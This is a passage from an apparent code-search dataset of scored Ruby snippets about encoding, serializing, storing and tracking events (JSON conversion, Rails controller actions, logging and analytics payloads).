"text": "def encode_batch events, sort: false, **_other_kwargs\n structure_array = Array(events).map do |event|\n structure = encode_hash_structure event\n sort ? sort_keys(structure) : structure\n end\n ::JSON.dump structure_array\n end",
"title": ""
},
{
"docid": "1a8b2cf292334f4daa0214308f7de42b",
"score": "0.60601443",
"text": "def format_event\n {account_id: self.account_id.to_s, app_id: self.app_id.to_s, actor_id: self.actor_id.to_s, name: self.name, properties: self.properties, time: self.updated_at}\n rescue => e\n Rails.logger.error(\"**** ERROR **** #{e.message}\")\n {}\n end",
"title": ""
},
{
"docid": "bf3d57ed8ffba922cf0a112f7e2276d4",
"score": "0.6007822",
"text": "def to_hash\n {\n :type => self.type_symbol,\n :envelope => @envelope.to_hash,\n :zmq_parts => @zmq_parts,\n :payload => @payload,\n }\n end",
"title": ""
},
{
"docid": "705075a6d93a21782672c641906a1f79",
"score": "0.5988952",
"text": "def encode_sync(event)\n URI.encode_www_form(event.to_hash)\n end",
"title": ""
},
{
"docid": "129d297506d5dacef92bb4e2329b6083",
"score": "0.5985999",
"text": "def render_post_output(event)\n responce_json = Hash.new\n responce_json[:id] = event.id\n responce_json[:name] = event.name\n responce_json[:event_type] = event.event_type\n event.data.each{|val| responce_json[val[0]] = val[1]}\n responce_json[:created_at] = event.created_at\n responce_json[:updated_at] = event.updated_at\n responce_json\n end",
"title": ""
},
{
"docid": "2b00dcb517927a5e7c083ee66762be1a",
"score": "0.5968015",
"text": "def store_event( event )\n\t\tself.log.debug \"Storing event: %p\" % [ event ]\n\n\t\ttime = event.delete('@timestamp')\n\t\ttype = event.delete('@type')\n\t\tversion = event.delete('@version')\n\n\t\t# @cursor.call( time: time, type: type, version: version, data: event )\n\t\t@db[ :events ].insert(\n\t\t\t time: time,\n\t\t\t type: type,\n\t\t\t version: version,\n\t\t\t data: Sequel.pg_json( event )\n\t\t)\n\tend",
"title": ""
},
{
"docid": "aeb3071194c57c8a26df68592af69749",
"score": "0.5942152",
"text": "def record(event)\n key = Digest::MD5.hexdigest(event)\n\n event = {:k => key,\n :t => Time.now.to_f}\n\n @events << event\n\n domaint\n end",
"title": ""
},
{
"docid": "0c3e5989c460036cefe9ce8453ee6fa0",
"score": "0.5928419",
"text": "def extract_event\n if params[:event].class == ActiveSupport::HashWithIndifferentAccess\n params[:event]\n else\n _rc = {}\n JSON.parse(params[:event].to_s).each do |key, value|\n _rc[key.to_sym] = value\n end\n _rc\n end\n end",
"title": ""
},
{
"docid": "859dee484a0742f0623d6ed353abd972",
"score": "0.59237933",
"text": "def construct_event_hash(event_page)\n {\n calendar_id: ENV['PRIMARY_NATION_CALENDAR_ID'].to_i,\n # Optionally set the status to 'unlisted' to facilitate an approval process\n status: 'published',\n # Optionally restrict which tags are cloned\n tags: all_event_tags(event_page),\n name: event_page.object['name'],\n headline: event_page.object['headline'],\n # Optionally set the title and slug values below (we are\n # currently letting NationBuilder set them automatically)\n # title: event_page.object['title'],\n # slug: event_page.slugify,\n excerpt: event_page.object['excerpt'],\n # Optionally uncomment the excerpt line below, delete the excerpt line above and\n # change {{ event.url }} to {{ event.excerpt }} in your theme's calendar template.\n # That way, you can redirect users to the original event URL when they click the\n # RSVP button on your calendar page.\n # excerpt: event_page.original_url,\n intro: event_page.object['intro'],\n # The event_contact method only adds the contact if name and email exist:\n # this is a restriction imposed by the NationBuilder API\n contact: event_contact(event_page),\n start_time: event_page.object['start_time'],\n end_time: event_page.object['end_time'],\n venue: event_page.object['venue'],\n capacity: event_page.object['capacity'],\n published_at: event_page.object['published_at'],\n # Choose appropriate rsvp_form settings or clone their original values\n # rsvp_form: event_page.object['rsvp_form'],\n rsvp_form: {\n phone: 'hidden',\n address: 'hidden',\n allow_guests: false,\n accept_rsvps: false,\n gather_volunteers: false\n },\n # Optionally set values for the `autoresponse` and `shifts` attributes\n # autoresponse: event_page.object['autoresponse'],\n # shifts: event_page.object['shifts'],\n show_guests: event_page.object['show_guests']\n }\n end",
"title": ""
},
{
"docid": "82d489c34fe7c76c62194e65b68b9f54",
"score": "0.5896075",
"text": "def as_json(options = {})\n options ||= {}\n hash = {\n :level => level,\n :dt => formatted_dt,\n :message => message,\n :tags => tags,\n :time_ms => time_ms\n }\n\n if !event.nil?\n hash[:event] = event.as_json\n end\n\n if !context_snapshot.nil? && context_snapshot.length > 0\n hash[:context] = context_snapshot\n end\n\n hash[:\"$schema\"] = SCHEMA\n\n hash = if options[:only]\n hash.select do |key, _value|\n options[:only].include?(key)\n end\n elsif options[:except]\n hash.select do |key, _value|\n !options[:except].include?(key)\n end\n else\n hash\n end\n\n # Preparing a log event for JSON should remove any blank values. Timber strictly\n # validates incoming data, including message size. Blank values will fail validation.\n # Moreover, binary data (ASCII-8BIT) generally cannot be encoded into JSON because it\n # contains characters outside of the valid UTF-8 space.\n Util::Hash.deep_reduce(hash) do |k, v, h|\n # Discard blank values\n if !v.nil? && (!v.respond_to?(:length) || v.length > 0)\n # If the value is a binary string, give it special treatment\n if v.respond_to?(:encoding) && v.encoding == ::Encoding::ASCII_8BIT\n # Only keep binary values less than a certain size. Sizes larger than this\n # are almost always file uploads and data we do not want to log.\n if v.length < BINARY_LIMIT_THRESHOLD\n # Attempt to safely encode the data to UTF-8\n encoded_value = encode_string(v)\n if !encoded_value.nil?\n h[k] = encoded_value\n end\n end\n else\n # Keep all other values\n h[k] = v\n end\n end\n end\n end",
"title": ""
},
{
"docid": "91fbd749a11968635303e61d21013a75",
"score": "0.5888746",
"text": "def event_body(event)\n LogStash::Json.dump(cfapi([event]))\n end",
"title": ""
},
{
"docid": "e5d4eaa058aaa1d777eecdf2fa26d430",
"score": "0.58804184",
"text": "def encode_sync(event)\n if @mapping\n evt = Hash.new\n @mapping.each do |k,v|\n evt[k] = event.sprintf(v)\n end\n else\n evt = event.to_hash\n end\n\n r = evt2xmledmobj(evt)\n\n event.set('message', r.to_s)\n\n event.get(\"message\").to_s + NL\n end",
"title": ""
},
{
"docid": "b9cc7556f64f9338bd122de5f7d2443d",
"score": "0.58704066",
"text": "def as_partial_event\n opts = self.class.instance_variable_get(:@_eventablize_opts) || {}\n json = as_json Event.resolve_value(self, opts[:as_json])\n json[:created_at] = created_at\n json[:updated_at] = updated_at\n # TODO: Attribute type should be reserved\n json[:type] = self.class.name\n # FIXME: Convert id to string, for gin index in PostgreSQL\n json[:id] = id.to_s\n json\n end",
"title": ""
},
{
"docid": "3365a7a36620bf816c4fd739035bb60c",
"score": "0.58380204",
"text": "def push_event(event_name, user_ids, event_type, data = nil, guest_ids = [])\n event = {}\n event[:user_ids] = user_ids\n event[:type] = event_type\n event[:data] = data\n event[:guest_ids] = guest_ids\n $redis.publish event_name, event.to_json\nend",
"title": ""
},
{
"docid": "7c240861d376c4dde83db3c458214b43",
"score": "0.58340484",
"text": "def zenoss_payload\n {\n action: 'EventsRouter',\n method: 'add_event',\n type: 'rpc',\n tid: 1,\n data: [zenoss_data]\n }\n end",
"title": ""
},
{
"docid": "e1cad04683a0cb7e1bfb85880e365062",
"score": "0.5824464",
"text": "def event_body(events)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(events)\n else \n @logger.error(\"Only supported format is Json\")\n end\n end",
"title": ""
},
{
"docid": "7a71b9f9ea3aa7d56ea05017104457b9",
"score": "0.57989746",
"text": "def serialize_events(events)\n serialized_events = []\n\n events.each do |event|\n serialized_tags = []\n event.tags.each do |tag|\n serialized_tag = {\n id: tag.id,\n name: tag.name,\n links: { self: api_v1_tag_path(tag.id), events: api_v1_tag_events_path(tag.id) }\n }\n serialized_tags.push(serialized_tag)\n end\n\n serialized_event = {\n id: event.id,\n name: event.name,\n description: event.description,\n links: { self: api_v1_event_path(event.id) },\n creator: {\n id: event.creator.id,\n displayname: event.creator.displayname,\n email: event.creator.email,\n links: { self: api_v1_creator_path(event.creator.id), events: api_v1_creator_events_path(event.creator.id) }\n },\n position: {\n id: event.position.id,\n address_city: event.position.address_city,\n latitude: event.position.latitude,\n longitude: event.position.longitude,\n links: { self: api_v1_position_path(event.position.id), events: api_v1_position_events_path(event.position.id) }\n },\n tags: serialized_tags\n }\n\n serialized_events.push(serialized_event)\n end\n\n # Return Object/JSON, conditions for including key and value\n obj = {}\n obj['offset'] = @offset unless @offset == 0 || @offset.nil?\n obj['limit'] = @limit unless @limit == 20 || @limit.nil?\n obj['amount'] = events.count # unless events.count == 1\n obj['events'] = serialized_events # unless serialized_events.count == 1\n # obj['event'] = serialized_events[0] unless events.count != 1\n\n return obj\n end",
"title": ""
},
{
"docid": "89a2624003e6982349c1e96973044bf8",
"score": "0.5792805",
"text": "def build_event_attributes_hash(event_hash, options = {})\n event_hash = HashWithIndifferentAccess.new(event_hash)\n event_name = event_hash.delete(:event)\n fail \"Event name or timestamp not provided in #{event_hash}\" unless event_name\n\n event = { action: 'track', event: event_name }.merge(extract_user_id_or_device_id_hash!(event_hash))\n event.merge!(time: event_hash.delete(:time).strftime('%s')) if event_hash[:time]\n event.merge!(info: event_hash.delete(:info)) if event_hash[:info]\n event.merge!(allowOffline: true) if options[:allow_offline]\n\n event_hash.keys.size > 0 ? event.merge(params: event_hash.symbolize_keys ) : event\n end",
"title": ""
},
{
"docid": "2eac2345f845c02c8478dafe0b803519",
"score": "0.5769663",
"text": "def create\n @event = Event.new(event_params)\n if @event.save\n render json: @event.to_json, status: :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4ac16c37be801439aec6b9f43980ef9b",
"score": "0.5750265",
"text": "def decode_hash_structure structure\n data =\n if structure.key? \"data_base64\"\n ::Base64.decode64 structure[\"data_base64\"]\n else\n structure[\"data\"]\n end\n spec_version = structure[\"specversion\"]\n raise \"Unrecognized specversion: #{spec_version}\" unless spec_version == \"1.0\"\n Event.new \\\n id: structure[\"id\"],\n source: structure[\"source\"],\n type: structure[\"type\"],\n spec_version: spec_version,\n data: data,\n data_content_type: structure[\"datacontenttype\"],\n data_schema: structure[\"dataschema\"],\n subject: structure[\"subject\"],\n time: structure[\"time\"]\n end",
"title": ""
},
{
"docid": "572471bc0c1b0385d442e6e026ae68d5",
"score": "0.5747568",
"text": "def event_type_to_json(event_type)\n et = event_type.to_json(\n only: [:id, :name, :description, :recipients, :program, :created_at, :updated_at, :goal, \n :duration, :faq, :elevator_pitch, :learnings, :takeaways, :subtitle, :csd_eligible, :is_kleer_certification, \n :external_site_url, :deleted, :noindex, :lang, :cover, :side_image, :brochure, :new_version], \n methods: %i[slug canonical_slug], include: [:categories, \n next_events: {only: [\n :id, :date, :place, :city, :country_id, :list_price, :eb_price, :eb_end_date, :registration_link, \n :is_sold_out, :duration, :start_time, :end_time, :time_zone_name, :currency_iso_code, :address, :finish_date], methods: :trainers} ])\n et = \"#{et[0..-2]},\\\"testimonies\\\":#{event_type.testimonies.where(selected: true).first(10).to_json(\n only: [:fname, :lname, :testimony, :profile_url, :photo_url]\n )}}\"\n end",
"title": ""
},
{
"docid": "e3f5772ef0c8729ae88359b5e7747b3a",
"score": "0.5736114",
"text": "def extract_event_data(event)\n event_data = {\n :timestamp => event.object.lastTimestamp,\n :kind => event.object.involvedObject.kind,\n :name => event.object.involvedObject.name,\n :namespace => event.object.involvedObject.namespace,\n :reason => event.object.reason,\n :message => event.object.message,\n :uid => event.object.involvedObject.uid,\n :event_uid => event.object.metadata.uid,\n }\n\n unless event.object.involvedObject.fieldPath.nil?\n event_data[:fieldpath] = event.object.involvedObject.fieldPath\n end\n\n event_type_prefix = event_data[:kind].upcase\n\n # Handle event data for specific entities\n case event_data[:kind]\n when 'Node'\n event_data[:container_node_name] = event_data[:name]\n # Workaround for missing/useless node UID (#9600, https://github.com/kubernetes/kubernetes/issues/29289)\n if event_data[:uid].nil? || event_data[:uid] == event_data[:name]\n node = ContainerNode.find_by(:ems_id => @ems.id, :name => event_data[:name])\n event_data[:uid] = node.try!(:ems_ref)\n end\n when 'Pod'\n /^spec.containers{(?<container_name>.*)}$/ =~ event_data[:fieldpath]\n unless container_name.nil?\n event_data[:container_name] = container_name\n end\n event_data[:container_group_name] = event_data[:name]\n event_data[:container_namespace] = event_data[:namespace]\n when 'ReplicationController'\n event_type_prefix = \"REPLICATOR\"\n event_data[:container_replicator_name] = event_data[:name]\n event_data[:container_namespace] = event_data[:namespace]\n end\n\n event_data[:event_type] = \"#{event_type_prefix}_#{event_data[:reason].upcase}\"\n\n event_data\n end",
"title": ""
},
{
"docid": "fd09ebbe006e09657a872787327b011d",
"score": "0.5725259",
"text": "def make_new_event\n event = Hash.new\n event[:event_game_type] = 2 # 1=Pairs, 2=Teams.\n event[:event_scoring_method] = 0 # Nicolas will define later.\n event[:event_team_round_one_pairing_option] = 0 # 2BD\n event[:event_team_vp_scale] = 0 # Nicolas 2BD. There are lots out there.\n event\nend",
"title": ""
},
{
"docid": "db8659e9b101279684ca2babd58e29e8",
"score": "0.5722538",
"text": "def to_hash\n @to_hash ||= Util::NonNilHashBuilder.build do |h|\n h.add(type, data)\n end\n end",
"title": ""
},
{
"docid": "4fa447d46017265304611bc544fb007b",
"score": "0.5704059",
"text": "def get_emit_object(event, object)\n OpenStruct.new(\n event: event,\n data: object\n ).to_h\n end",
"title": ""
},
{
"docid": "82c0559281676a846d418e994864ed15",
"score": "0.56958663",
"text": "def add_event(event)\n insert_event_sql = \"INSERT INTO entity_events (type, entity_id, attributes) VALUES (:type, :entity_id, :attributes);\"\n\n attributes = hash_to_json event.attributes\n\n use_store do |db|\n db.executeUpdate(insert_event_sql, withParameterDictionary:{ type: event.class.name, entity_id: event.entity_id, attributes: attributes })\n end\n end",
"title": ""
},
{
"docid": "dac4856223df304a8eecf99237b8a21e",
"score": "0.5691622",
"text": "def saved_event\n saved_event = session[:event].try(:deep_symbolize_keys) || {}\n @event = Event.new(saved_event)\n end",
"title": ""
},
{
"docid": "5a2abc0d37fad375948cbef829e5b911",
"score": "0.56805515",
"text": "def events\n @events ||= HashWithIndifferentAccess.new\n end",
"title": ""
},
{
"docid": "125fd7090ad5a89989553558772836eb",
"score": "0.56726927",
"text": "def encode_event(event)\n event.to_s.split(Redlics.config.separator).map { |v| v.match(/\\A\\d+\\z/) ? encode(v) : v }.join(Redlics.config.separator)\n end",
"title": ""
},
{
"docid": "99221fe823a88a387367bccd84195be6",
"score": "0.56555873",
"text": "def build_event_attributes_hash(event_hash, options = {})\n event_name = event_hash.delete(:event)\n fail \":event key not present in #{event_hash}\" unless event_name\n\n event = { action: TRACK, event: event_name }.merge(extract_user_id_or_device_id_hash!(event_hash))\n event.merge!(time: event_hash.delete(:time).strftime('%s').to_i) if event_hash[:time]\n event.merge!(info: event_hash.delete(:info)) if event_hash[:info]\n event.merge!(currencyCode: event_hash.delete(:currency_code)) if event_hash[:currency_code]\n event.merge!(value: event_hash.delete(:value).to_f) if event_hash[:value]\n event.merge!(allowOffline: true) if options[:allow_offline]\n\n event_hash.keys.size > 0 ? event.merge(params: event_hash.symbolize_keys ) : event\n end",
"title": ""
},
{
"docid": "afbd861708b7e4fea1545f453a11e44b",
"score": "0.5640902",
"text": "def create\n #To whitelist params\n Event.create(event_params)\n if event.save\n render json: event.to_json, status: 201\n else\n render json: {message: \"Failed to create new event\"}, status: 500\n end\n end",
"title": ""
},
{
"docid": "83f0e1d08497d09f17c5d31224f3699a",
"score": "0.5629083",
"text": "def payload(channel_id, event_name, payload = {})\n { channel: channel_id, event: event_name, data: payload }.to_json\n end",
"title": ""
},
{
"docid": "6fa4fb346349cb20b73774206be6f3d5",
"score": "0.5626166",
"text": "def to_s\n hash = {}\n @events_map.each_pair do |name, trans|\n hash[name] = trans\n end\n hash.to_s\n end",
"title": ""
},
{
"docid": "bf2211b5a4377a4e59b76ca5df2b71ce",
"score": "0.562491",
"text": "def as_json(options = {})\n session_id = parameters.delete(:session_id) || Thread.current[:keas_session_id]\n\n data = {type: type,\n action: action,\n user_id: user_id,\n occurred_at: occurred_at,\n eventful_type: eventful_type,\n eventful_id: eventful_id,\n session_id: session_id}\n unless options[:omit_parameters]\n data[:parameters] = parameters\n data[:attributes] = attributes\n end\n data\n end",
"title": ""
},
{
"docid": "2ae6c372e0a3d09d489550b450f6a0e0",
"score": "0.56243837",
"text": "def emit(event={})\n producer.publish(event.to_json)\n self\n end",
"title": ""
},
{
"docid": "6647f36ab29c0f7fcd8f93b2473983aa",
"score": "0.56049246",
"text": "def event_to_hash(resource_status, event)\n {\n \"status\" => event.status,\n \"timestamp\" => event.time.iso8601(9),\n \"resource-type\" => resource_status.resource_type,\n \"resource-title\" => resource_status.title.to_s,\n \"property\" => event.property,\n \"new-value\" => event.desired_value,\n \"old-value\" => event.previous_value,\n \"message\" => event.message,\n \"file\" => resource_status.file,\n \"line\" => resource_status.line,\n \"containment-path\" => resource_status.containment_path,\n }\n end",
"title": ""
},
{
"docid": "7a874a4a500436ba7aef56ca8ac65289",
"score": "0.55851865",
"text": "def hash\n [aggregation_key, date_happened, device_name, duration, event_object, evt, hostname, monitor, monitor_groups, monitor_id, priority, related_event_id, service, source_type_name, sourcecategory, status, tags, timestamp, title].hash\n end",
"title": ""
},
{
"docid": "2bab10650d8ff54e1b3be84ed9cc2a42",
"score": "0.55836284",
"text": "def create\n event = Event.create(event_params)\n if event.save\n render json: event, status: 200\n else\n render json: {errors: event.errors.full_messages}, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "4f9c2585ca128e225d43bf60bb7faf64",
"score": "0.5579692",
"text": "def create_event(event, entity_type, entity_id, optional = {})\n h = optional\n h.key?('eventTime') || h['eventTime'] = DateTime.now.to_s\n h['event'] = event\n h['entityType'] = entity_type\n h['entityId'] = entity_id\n @http.post(PredictionIO::Request.new(\n \"/events.json?accessKey=#{@access_key}\", h.to_json\n ))\n end",
"title": ""
},
{
"docid": "748223766d73a93149a626d74306e4dd",
"score": "0.5579433",
"text": "def to_hash\n @json\n end",
"title": ""
},
{
"docid": "3e7a6a111033ca03622299458106139b",
"score": "0.55781484",
"text": "def process_event(event)\n new_event = OpenStruct.new\n \n new_event.title = event['title']\n new_event.starts_at = Time.at event['event-date'].to_i\n new_event.body = event['event-descrip']\n new_event.price_freeform = event['price']\n new_event.set_times = event['set-times']\n new_event.info = event['additional-info']\n \n new_event.supporting_act_1 = event['supporting-act-1'] \n new_event.supporting_act_2 = event['supporting-act-2'] \n new_event.supporting_act_3 = event['supporting-act-3'] \n \n new_event.headliner = fetch_and_create_artist( event['artist-id'] )\n \n new_event = strip_whitespace( new_event )\n \n puts \"CREATING EVENT #{new_event.title}\"\n \n return @account.events.create!( new_event.marshal_dump )\n \n \n \n end",
"title": ""
},
{
"docid": "1ba2986054f680e9af9b548dc2caa883",
"score": "0.5576092",
"text": "def hash\n [aggregation_key, alert_type, date_happened, device_name, host, priority, related_event_id, source_type_name, tags, text, title].hash\n end",
"title": ""
},
{
"docid": "fcb719ed0a24627176dfdabf0dc2083f",
"score": "0.55755764",
"text": "def hash\n [id, event_type, opened_at, ended_at, closed_at, employee_ids, opening_employee_id, ending_employee_id, closing_employee_id, description, starting_cash_money, cash_payment_money, cash_refunds_money, cash_paid_in_money, cash_paid_out_money, expected_cash_money, closed_cash_money, device, events].hash\n end",
"title": ""
},
{
"docid": "3071d7e85985c2d36892d50405c9fa45",
"score": "0.55681616",
"text": "def track_event(zza_id, event, xdata, transaction_id, user_type, user, referrer_uri, page_uri, ip_address, zzv_id)\n evt = {\n :s => zza_id,\n :e => event,\n :i => transaction_id,\n :t => (Time.now.to_f * 1000).round,\n :u => user,\n :v => user_type,\n :r => referrer_uri,\n :x => xdata,\n :p => page_uri,\n :ip => ip_address,\n :zzv_id => zzv_id\n }\n json_str = JSON.generate(evt)\n post_to_file(json_str)\n end",
"title": ""
},
{
"docid": "14545e353362d3c0ef3a3740f626f992",
"score": "0.5561451",
"text": "def event(name:, event_args: {})\n {\n track: {\n api_key: api_key,\n event_args: build_event_args(name, event_args)\n }\n }\n end",
"title": ""
},
{
"docid": "68dc605afd445071523c5d73b6d21bec",
"score": "0.5559696",
"text": "def hash\n [envelope_events, event_data, include_certificate_of_completion, include_certificate_with_soap, include_document_fields, include_documents, include_envelope_void_reason, include_hmac, include_sender_account_as_custom_field, include_time_zone, logging_enabled, recipient_events, require_acknowledgment, sign_message_with_x509_cert, soap_name_space, url, use_soap_interface].hash\n end",
"title": ""
},
{
"docid": "44edaff4dd89abd1e42d1234b61bb5b0",
"score": "0.55499583",
"text": "def hash\n super +\n @event_name.hash +\n @host.hash +\n @md5.hash\n end",
"title": ""
},
{
"docid": "dab22409f0a04ee469a8976e3d42c7ff",
"score": "0.5543055",
"text": "def to_wire_hash\n hash = serializable_hash\n hash['_id'] = hash['_id'].to_s\n hash['inviter_id'] = hash['inviter_id'].to_s\n hash['invitee_id'] = self.profile.id.to_s\n hash\n end",
"title": ""
},
{
"docid": "1b864300638aedd4389bd9f142f7e72d",
"score": "0.5541708",
"text": "def create\n authorize @parent, :add_event?\n @event = @parent.add_event(@json_params)\n respond_to do |format|\n format.json {\n if @parent.save\n render json: @event.serializable_hash, status: :created\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n }\n end\n end",
"title": ""
},
{
"docid": "a6cd0659b672250fa28ef55f238d9f96",
"score": "0.5530233",
"text": "def events_to_pseudo_json(events)\n events.map { |event| event.to_json }.join(\"\\n\") + \"\\n\"\n end",
"title": ""
},
{
"docid": "c3c814016c98242455fa75393a78e229",
"score": "0.5527",
"text": "def valid_event_json\n [\n {\n \"sg_message_id\" => \"sendgrid_internal_message_id\",\n \"email\" => \"john.doe@sendgrid.com\",\n \"timestamp\" => 1337197600,\n \"smtp-id\" => \"<4FB4041F.6080505@sendgrid.com>\",\n \"event\" => \"processed\"\n },\n {\n \"sg_message_id\" => \"sendgrid_internal_message_id\",\n \"email\" => \"john.doe@sendgrid.com\",\n \"timestamp\" => 1337966815,\n \"category\" => \"newuser\",\n \"event\" => \"click\",\n \"url\" => \"https://sendgrid.com\"\n },\n {\n \"sg_message_id\" => \"sendgrid_internal_message_id\",\n \"email\" => \"john.doe@sendgrid.com\",\n \"timestamp\" => 1337969592,\n \"smtp-id\" => \"<20120525181309.C1A9B40405B3@Example-Mac.local>\",\n \"event\" => \"group_unsubscribe\",\n \"asm_group_id\" => 42\n }\n ].to_json\n end",
"title": ""
},
{
"docid": "be3446c2ba10fcc42cb25f494f5b4bd0",
"score": "0.55253166",
"text": "def to_json_hash\n {\n :embedCode => @embed_code,\n :stream => @stream\n }.merge(super)\n end",
"title": ""
},
{
"docid": "e87d7e8ef79a324a6bd693f8f795b876",
"score": "0.55238324",
"text": "def create_event(event={})\n if event == {}\n puts \"No event provided - please provide a FomoEvent object or hash of parameters\"\n return\n end\n\n response = make_request('/api/v1/applications/me/events', 'POST', event)\n begin\n j = JSON.parse(response)\n FomoEvent.new(j['id'], j['created_at'], j['updated_at'], j['message'], j['link'], j['event_type_id'], j['event_type_tag'], j['url'], j['first_name'], j['email_address'], j['ip_address'], j['city'], j['province'], j['country'], j['title'], j['image_url'], j['custom_event_fields_attributes'])\n rescue JSON::ParserError => _\n # String was not valid\n end\n end",
"title": ""
},
{
"docid": "b1cf9af7d2d4963fe68eb5fbdf35c8a8",
"score": "0.552277",
"text": "def event_metadata_hash(event)\n doc = Nokogiri::HTML.parse open(event.url)\n doc.css('br').each{ |br| br.replace(\", \") }\n event_hash = {}\n event_dates = find_value_by_text(doc: doc, text: 'Event Date').split(' - ')\n time = find_value_by_text(doc: doc, text: 'Event Time')&.gsub('Pacific', '')&.split('-')\n event_hash[:url] = event.url\n event_hash[:start_date] = Date.strptime(event_dates.first,'%m/%d/%Y')\n event_hash[:end_date] = Date.strptime(event_dates.last,'%m/%d/%Y')\n event_hash[:location_name] = find_value_by_text(doc: doc, text: 'Location')&.split(',')&.first\n event_hash[:google_maps_url] = doc.css('a').map { |link| link['href'] if link['href'].include?('maps.google') }.compact.first\n if time\n event_hash[:start_time] = time.first\n event_hash[:end_time] = time.last\n end\n\n event_hash\n end",
"title": ""
},
{
"docid": "d00d95012964458f5b72c2e17b4fb955",
"score": "0.5515798",
"text": "def to_json_hash_value\n if field.respond_to?(:json_encode)\n each_with_object({}) do |(key, value), hash|\n hash[key] = field.json_encode(value)\n end\n else\n each_with_object({}) do |(key, value), hash|\n hash[key] = value.respond_to?(:to_json_hash_value) ? value.to_json_hash_value : value\n end\n end\n end",
"title": ""
},
{
"docid": "65b978dc12ae6ebecbbf2fbc7faa740b",
"score": "0.55121225",
"text": "def event\n format_response(type: 'event', name: reply['name'], payload: reply['payload'].to_json)\n end",
"title": ""
},
{
"docid": "49b520cb3f544be287b4b96d7fb89209",
"score": "0.5505381",
"text": "def encoded\n self.to_hash.to_json\n end",
"title": ""
},
{
"docid": "d6b1541a221f9c3ba2387a61ff007f73",
"score": "0.55028886",
"text": "def track_body(*events)\n event_body = events.flatten.map(&:to_hash)\n\n {\n api_key: Amplitude.configuration.api_key,\n event: JSON.generate(event_body)\n }\n end",
"title": ""
},
{
"docid": "8ac6a3b0be8481295cc81fea4b4fa7c3",
"score": "0.5495431",
"text": "def create\n @event = Event.new(event_params)\n\n if @event.save\n render json: @event, status: :created, location: event_path(@event), serializer: EventSerializer\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cfa09b406bae453470899ec2e78be445",
"score": "0.5492289",
"text": "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.json {render json: @event, status: :ok }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ad721e53fc44ec3ff7bf8a06d85e5095",
"score": "0.5488519",
"text": "def to_json(*a)\n {\n 'json_class' => self.class.name,\n 'data' => [ @ids, @events.to_a, @start, @transition, @emission ]\n }.to_json(*a)\n end",
"title": ""
},
{
"docid": "4101759a7a966f0db0a1d564801b27bf",
"score": "0.54875356",
"text": "def to_json(what)\n what.to_hash.to_json\n end",
"title": ""
},
{
"docid": "c550537e0d0c7e434e9ea0a4473abb16",
"score": "0.5481847",
"text": "def to_hash\n {\n 'request' => request.to_hash,\n 'response' => response.to_hash,\n 'recorded_at' => recorded_at.httpdate\n }.tap do |hash|\n OrderedHashSerializer.apply_to(hash, members)\n end\n end",
"title": ""
},
{
"docid": "8bbd8648bcb30aade0613bb3b785ff2a",
"score": "0.5480058",
"text": "def event\n event = Event.new\n event.kind = request.headers[\"X-GitHub-Event\"]\n event.delivery_id = request.headers[\"X-GitHub-Delivery\"]\n event.payload = JSON.parse request_body\n event.installation_id = event.payload[\"installation\"][\"id\"]\n event.action = event.payload[\"action\"]\n event.save!\n\n render json: {}, status: 200\n end",
"title": ""
},
{
"docid": "5bf79e9d171cb267d9d2409fddef1770",
"score": "0.5473531",
"text": "def create\n @event = Event.new(event_params)\n if !params[\"event\"][\"payload\"].is_a?(String)\n @event.payload = params[\"event\"][\"payload\"].to_json\n end\n\n if params[\"event\"][\"timestamp\"]\n @event.timestamp = Time.at(params[\"event\"][\"timestamp\"].to_f)\n end\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "da5a9d883b89e5e96507ec12f9e0aa14",
"score": "0.5470047",
"text": "def event\n begin\n JSON.parse(@omegle.post('/events', \"id=#{@id}\").body)\n rescue\n end\n end",
"title": ""
},
{
"docid": "b55304c454583ca15062adfeb226daf8",
"score": "0.54600644",
"text": "def json_encoded\n self.to_hash.to_json\n end",
"title": ""
},
{
"docid": "34ea9c855bd4c95a9f73abf4fdfca98f",
"score": "0.54519993",
"text": "def event_header\n header = {}\n header[:timestamp] = parser.read_uint32\n event_type = parser.read_uint8\n header[:event_type] = EVENT_TYPES[event_type] || \"unknown_#{event_type}\".to_sym\n header[:server_id] = parser.read_uint32\n header[:event_length] = parser.read_uint32\n header[:next_position] = parser.read_uint32\n header[:flags] = parser.read_uint_bitmap_by_size_and_name(2, EVENT_HEADER_FLAGS)\n\n header\n end",
"title": ""
},
{
"docid": "7a789a1b76a88d4d9d503fc94f2dea44",
"score": "0.54498595",
"text": "def encode_message(message)\n # create context buffer with encode headers\n encoded_header = encode_headers(message)\n header_length = encoded_header.bytesize\n # encode payload\n if message.payload.length > MAX_PAYLOAD_LENGTH\n raise Aws::EventStream::Errors::EventPayloadLengthExceedError.new\n end\n encoded_payload = message.payload.read\n total_length = header_length + encoded_payload.bytesize + OVERHEAD_LENGTH\n\n # create message buffer with prelude section\n encoded_prelude = encode_prelude(total_length, header_length)\n\n # append message context (headers, payload)\n encoded_content = [\n encoded_prelude,\n encoded_header,\n encoded_payload,\n ].pack('a*a*a*')\n # append message checksum\n message_checksum = Zlib.crc32(encoded_content)\n [encoded_content, message_checksum].pack('a*N')\n end",
"title": ""
},
{
"docid": "54a657f97b559745852ae090f659e8bb",
"score": "0.5449734",
"text": "def serialize_to_json(encoding_key = :tag)\n serialize_to_hash(encoding_key).to_json\n end",
"title": ""
},
{
"docid": "2a30dc09be729ff6d750546d97e0108f",
"score": "0.54490036",
"text": "def encode(obj)\n obj.is_a?(Hash) ? obj : obj.to_hash\n end",
"title": ""
},
{
"docid": "5fb0d27e60b6162d59cb1280f5861d0d",
"score": "0.54445636",
"text": "def return_json\n @event_array.to_json\n end",
"title": ""
},
{
"docid": "a22b4bedcf60c238508bf71a7cbbc263",
"score": "0.5438502",
"text": "def hash\n to_json.hash\n end",
"title": ""
},
{
"docid": "a22b4bedcf60c238508bf71a7cbbc263",
"score": "0.5438502",
"text": "def hash\n to_json.hash\n end",
"title": ""
},
{
